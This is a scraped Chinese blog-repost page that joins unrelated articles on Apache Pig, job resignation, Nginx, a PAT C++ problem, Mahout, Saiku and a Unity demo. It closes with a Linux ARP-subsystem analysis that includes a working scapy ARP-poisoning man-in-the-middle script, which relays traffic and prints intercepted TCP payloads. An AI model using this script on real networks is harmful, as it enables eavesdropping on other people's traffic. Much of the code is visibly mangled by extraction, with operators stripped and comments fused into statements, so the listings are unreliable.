...并行处理的艺术 在大数据的世界中,Apache Pig是一个强大的工具,它以SQL-like的脚本语言——Pig Latin,为我们提供了一种高效、灵活的方式来处理大规模的数据集。这篇文咱要深度挖掘一下怎么用Apache Pig这个神器进行并行处理,而且为了让大伙儿能更接地气地体验到它的魔力,我们会辅以实例代码,让大家亲自感受一下这货到底有多牛! 1. Apache Pig简介 Apache Pig是一个高层次的数据流处理平台,设计初衷是为了简化Hadoop生态系统的复杂性,尤其是对于那些需要对大量数据进行复杂转换和分析的任务。Pig Latin在Pig这个大家伙里可是心脏般的存在,它让咱们能够用一种更简单的方式编写出那些复杂的数据处理程序。想象一下,你写好代码后,Pig Latin就像个魔术师,嗖嗖几下就把你的程序变形成一系列MapReduce任务,然后稳稳当当地在Hadoop集群上跑起来。这样一来,大规模并行处理就不再是难题,而是轻松实现了! 2. 并行处理原理 Pig利用Hadoop的分布式计算框架,在底层自动将Pig Latin脚本转换为多个MapReduce任务,这些任务能够在多台机器上同时执行,大大提高了数据处理速度。换句话说,当你在捣鼓Pig Latin来设定一个数据处理流程时,其实就是在给一个并行处理的智慧路径画地图。Pig这个小机灵鬼呢,会超级聪明地把你的流程大卸八块,然后妥妥地分配到各个节点上执行起来。 3. 使用Pig Latin进行并行处理实战 示例一:数据加载与过滤 假设我们有一个大型的CSV文件存储在HDFS上,我们想找出所有年龄大于30岁的用户记录: pig -- 加载数据 data = LOAD 'hdfs://path/to/user_data.csv' USING PigStorage(',') AS (name:chararray, age:int, gender:chararray); -- 过滤出年龄大于30岁的用户 adults = FILTER data BY age > 30; -- 存储结果 STORE adults INTO 'hdfs://path/to/adults_data'; 上述代码中,LOAD操作首先将数据从HDFS加载到Pig中,接着FILTER操作会在集群内的所有节点并行执行,筛选出符合条件的记录,最后将结果保存回HDFS。 示例二:分组与聚合 现在,我们进一步对数据进行分组统计,比如按性别统计各年龄段的人数: pig -- 对数据进行分组并统计 grouped_data = GROUP adults BY gender; age_counts = FOREACH grouped_data GENERATE group, COUNT(adults), AVG(adults.age); -- 输出结果 DUMP age_counts; 这里,GROUP操作会对数据进行分组,然后在每个分组内部并行执行COUNT和AVG函数,得出每个性别的总人数以及平均年龄,整个过程充分利用了集群的并行处理能力。 4. 思考与理解 在实际操作过程中,你会发现Apache Pig不仅简化了并行编程的难度,同时也提供了丰富的内置函数和运算符,使得数据分析工作变得更加轻松。这种基于Pig Latin的声明式编程方式,让我们能够更关注于“要做什么”,而非“如何做”。每当你敲下一个Pig Latin命令,就像在指挥一个交响乐团,它会被神奇地翻译成一连串MapReduce任务。而在这个舞台背后,有个低调的“大块头”Hadoop正在卖力干活,悄无声息地扛起了并行处理的大旗。这样一来,我们开发者就能一边悠哉享受并行计算带来的飞速快感,一边又能摆脱那些繁琐复杂的并行编程细节,简直不要太爽! 总结起来,Apache Pig正是借助其强大的Pig Latin语言及背后的并行计算机制,使得大规模数据处理变得如烹小鲜般简单而高效。无论是处理基础的数据清洗、转换,还是搞定那些烧脑的统计分析,Pig这家伙都能像把刀切黄油那样轻松应对,展现出一种无人能敌的独特魅力。因此,熟练掌握Apache Pig,无疑能让你在大数据领域更加得心应手,挥洒自如。
2023-02-28 08:00:46
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晚秋落叶
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 点击上面↑「爱开发」关注我们 每晚10点,分享软件开发资源、社交电商资源 职场里,当你向领导提交辞职申请时,领导一般都会挽留你,不论你们之前工作上有什么过节的,他都会挽留你,领导挽留你的话都是真心实意的,起码在那一刻,他是真的想挽留你,当然,除非他早就看你不顺眼了,巴不得你早点走,那是另一回事,但即使他真的想赶你走,场面话相信他也会说的。 张工是一名java程序员,最近他就有了这样的困扰,其他同事一提交辞职申请领导就批准了,而他提了离职后,却被两个领导轮流极力挽留,感情牌,加薪牌都打了。怎么办?要不要留下来,新的offer也接了,薪资待遇也很满意。 有网友表示,既然决定辞职了,又有新的offer,就要勇敢迈出脚步。 辞职时,领导挽留,一般有下面几个原因: 1.人情世故,场面话是要有的 “怎么啦小洪,干得好好的怎么突然想走啊”,作为领导,客套话一般会说的。试想一下,领导不这样做,作为员工你心里肯定不好受,“这家伙,巴不得我早点走”至于你离开公司以后会不会跟别人说公司的坏话,那就跟他没有关系了,哪怕你是因为他才离职的。领导这种做法从另一方面看,也是保持“做人留一线,日后好相见的”想法,说不定你辞职后,事业一路高升。 2.跟绩效挂钩 部门有一个离职率,如果部门离职率过高,人事会对部门管理者进行考核,作为领导本人来说,他也不想因此被贴上管理存在问题的标签。 不知你有没有觉得,当部门的离职率超过20%的时候,你会发现领导对你们的态度发生了微妙的变化,对你们开始变得友好了。 3. 你的工作岗位在公司很重要,或者说公司一时半会找不到合适的人来替代你的工作,要是你辞职了,工作没有人接手,领导当然是努力挽留你了,给你加薪也不为过。 善意待人 今日你面试别人,别人明日可能面试你,软件行业这个圈子,有时候说小还真的小。好聚好散。 对此不知你是怎么看待的,欢迎交流! -END- 往期精选推荐 闲聊区 育儿区 技术区 本篇文章为转载内容。原文链接:https://blog.csdn.net/X8i0Bev/article/details/102812977。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-02 14:22:56
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Nginx
...和交互的部分)与后端服务(处理业务逻辑、数据存储和API接口的部分)明确地划分开来。在这种架构下,前端通常使用HTML、CSS、JavaScript等技术构建用户界面,并通过HTTP/HTTPS协议向后端发起异步请求获取数据;而后端专注于提供API接口供前端调用,处理数据并返回结果。在文章中,当部署前后端分离项目时,需要合理配置Nginx以正确转发和处理前端页面和后端API请求。 Docker容器化技术 , Docker是一种开源的应用容器引擎,通过容器化技术为开发者和系统管理员提供了一种标准化的打包、分发和运行应用的方式。在文中,Docker用于将前后端应用分别封装成独立的容器,每个容器包含了运行应用所需的所有依赖环境,使得应用可以在任何安装了Docker的主机上快速部署且运行效果一致。 Nginx反向代理服务器 , Nginx是一个高性能的HTTP和反向代理服务器,同时支持TCP/UDP代理、邮件代理、负载均衡等功能。在部署前后端分离项目的情境中,Nginx作为反向代理服务器,接收来自客户端的HTTP请求,并根据配置规则将请求转发至相应的服务。例如,它可以将静态资源请求直接指向存放前端文件的本地目录,将/api开头的请求转发给后端Docker容器中的服务处理,从而实现前后端之间的通信和信息传递。
2023-07-29 10:16:00
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时光倒流_
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 L2-007 家庭房产 (25 分) 给定每个人的家庭成员和其自己名下的房产,请你统计出每个家庭的人口数、人均房产面积及房产套数。 输入格式: 输入第一行给出一个正整数N(≤1000),随后N行,每行按下列格式给出一个人的房产: 编号 父 母 k 孩子1 ... 孩子k 房产套数 总面积 其中编号是每个人独有的一个4位数的编号;父和母分别是该编号对应的这个人的父母的编号(如果已经过世,则显示-1);k(0≤k≤5)是该人的子女的个数;孩子i是其子女的编号。 输出格式: 首先在第一行输出家庭个数(所有有亲属关系的人都属于同一个家庭)。随后按下列格式输出每个家庭的信息: 家庭成员的最小编号 家庭人口数 人均房产套数 人均房产面积 其中人均值要求保留小数点后3位。家庭信息首先按人均面积降序输出,若有并列,则按成员编号的升序输出。 输入样例: 106666 5551 5552 1 7777 1 1001234 5678 9012 1 0002 2 3008888 -1 -1 0 1 10002468 0001 0004 1 2222 1 5007777 6666 -1 0 2 3003721 -1 -1 1 2333 2 1509012 -1 -1 3 1236 1235 1234 1 1001235 5678 9012 0 1 502222 1236 2468 2 6661 6662 1 3002333 -1 3721 3 6661 6662 6663 1 100 输出样例: 38888 1 1.000 1000.0000001 15 0.600 100.0005551 4 0.750 100.000 include<bits/stdc++.h>using namespace std;struct node{int upset,squ,cnt;node(){cnt = 1;upset = 0;squ = 0;} }s[10005];struct GG{double cnt,upset,squ;int id;};int pre[10005];bool flag[10005]; //刚开始不都是false 如果有出现就true int find(int x){if( x == pre[x])return x;return pre[x] = find(pre[x]);}void merge(int x, int y){int fx = find(x);int fy = find(y);if(fx > fy)pre[fx] = fy;else if(fx < fy)pre[fy] = fx; return;}bool cmp(GG a, GG b){if(a.squ != b.squ)return a.squ > b.squ;else return a.id < b.id; }int main(){int n;scanf("%d", &n);for(int i = 1; i <= 10000; i ++)pre[i] = i;int me, fa, mo, cnt, child;for(int i = 1; i <= n; i ++){scanf("%d %d %d",&me,&fa,&mo);flag[me] = true; if(fa != -1){merge(me, fa);flag[fa] = true;} if(mo != -1){merge(me, mo);flag[mo] = true;} scanf("%d",&cnt);for(int j = 1; j <= cnt; j ++ ){scanf("%d",&child); merge(child, me);flag[child] = true;} scanf("%d %d",&s[me].upset, &s[me].squ);}set<int>st;for(int i = 10000; i >= 0; i--) //这边wa了第四个测试点因为0---10000 我写成1----10000{if(flag[i] == true){int x = find(i);//找到它的祖先st.insert(x);if(x != i){s[x].cnt += s[i].cnt;s[x].squ += s[i].squ;s[x].upset += s[i].upset; } }}set<int>::iterator it = st.begin();vector<GG>vec;while(it!=st.end()){GG gg;gg.id = it;gg.cnt = s[it].cnt;gg.squ =s[it].squ 1.0 / s[it].cnt 1.0;gg.upset = s[it].upset 1.0 / s[it].cnt 1.0;vec.push_back(gg);it++;}sort(vec.begin(),vec.end(),cmp);printf("%d\n",vec.size());for(int i = 0 ; i < vec.size(); i++)printf("%04d %.0lf %.3lf %.3lf\n",vec[i].id, vec[i].cnt,vec[i].upset, vec[i].squ);return 0;} 本篇文章为转载内容。原文链接:https://blog.csdn.net/galesaur_wcy/article/details/88357455。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-09 17:56:42
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Mahout
...盖率。 此外,随着大数据和人工智能技术的发展,业界也开始关注更加精细化、个性化的推荐策略。例如,Netflix采用矩阵分解结合实时行为数据,实现了对用户即时兴趣的精准捕捉,并在此基础上进行相似用户的动态聚类,大大提高了其个性化推荐服务的质量。 同时,在实践层面,阿里巴巴集团近期公开分享了他们在电商推荐场景中优化用户相似度计算的经验。他们发现将用户的社会关系网络、购买行为序列以及商品属性特征等多元信息融合进相似度计算模型,能显著提升推荐效果并带来更好的用户体验。 综上所述,用户相似度计算作为推荐系统的核心技术之一,其理论与实践都在不断演进与发展。除了Mahout等传统工具箱之外,现代推荐系统更需要我们紧跟学术前沿,把握行业动态,灵活运用深度学习、图神经网络等先进手段,以适应愈发复杂多变的用户需求和行为模式。
2023-02-13 08:05:07
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 [Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo 一个简单的单机闯关小游戏,主角到达终点即为胜利,关卡中有两种怪物能够对主角造成伤害,此外还有灯、陷阱、宝箱等场景互动要素,主角从宝箱中获得枪后能够进行射击杀死怪物 游戏逻辑简述 主角 初始有三点血量,被怪物攻击或触发陷阱回收到伤害,血量为零时进行副本结算,成功到达终点后游戏胜利 当获得武器后可以发射子弹,子弹会沿直线飞行,碰到障碍物、怪物、墙壁后,子弹消失 怪物 石像鬼 无法移动,血量无限,攻击到主角会直接将主角杀死 AI:来回探照,探照到主角后将主角杀死 幽灵 初始九点血量,当被子弹攻击后根据角色攻击力扣除血量,血量为0后死亡,3秒后出生点符火 AI:出生后在一定范围内巡逻,被攻击后会追逐主角直到死亡 场景互动物体 灯光 灯每15秒自动亮一次,亮10秒钟自动熄灭,灯亮起时,灯光范围内的怪物死亡 主角操作开关改变当前房间灯的状态(关-》开,开-》关),状态改变后场景机制的灯重新计时。 减速陷阱 主角触发陷阱后会减少主角50%移动速度,主角离开陷阱后依然会持续5秒减速效果。 地刺陷阱 每间隔3秒会伸出尖刺,持续3秒,尖刺缩回,重新开始计时。当尖刺处于伸出状态时,主角在陷阱范围,每秒会受到1点伤害。 宝箱 打开宝箱后主角可以获得一把武器 实现简述 由于实现功能较为简单,因此只简述实现思路 类组织结构 使用彩色建模的思想组织类结构,类图: SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类,仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
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Saiku
...的开源OLAP报表和数据分析工具的基础界面与功能后,进一步探索相关领域的发展趋势和技术动态显得尤为重要。近期,随着大数据和商业智能(BI)技术的持续火爆,越来越多的企业开始重视数据驱动决策的重要性,并寻求高效易用的数据分析解决方案。 实际上,Saiku因其直观的图形化操作界面以及无需编程即可进行复杂数据分析的能力,受到了众多企业和数据分析师的青睐。据Gartner最新报告指出,现代BI和数据分析平台正向自助服务模式转型,使得业务用户能够更加独立地进行深度数据探索,而Saiku恰好顺应了这一潮流。 此外,开源社区对于Saiku的支持也在不断加强,开发者们正在积极贡献代码,以优化性能、扩展功能并集成更多数据源支持。最近一次版本更新中,Saiku增强了对云原生环境的支持,简化了部署流程,并提升了处理大规模数据集时的响应速度,这无疑为大数据时代下的企业级应用提供了更有力的支撑。 综上所述,在数字化转型浪潮下,掌握像Saiku这样的现代化数据分析工具,不仅有助于企业提升决策效率,更能帮助企业从海量数据中提炼出具有战略价值的信息,从而实现业务增长和竞争力提升。因此,深入研究和熟练运用Saiku,已成为广大数据从业者提升自身核心竞争力的关键技能之一。
2023-10-04 11:41:45
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初心未变
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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"流光容易把人抛,红了樱桃,绿了芭蕉。"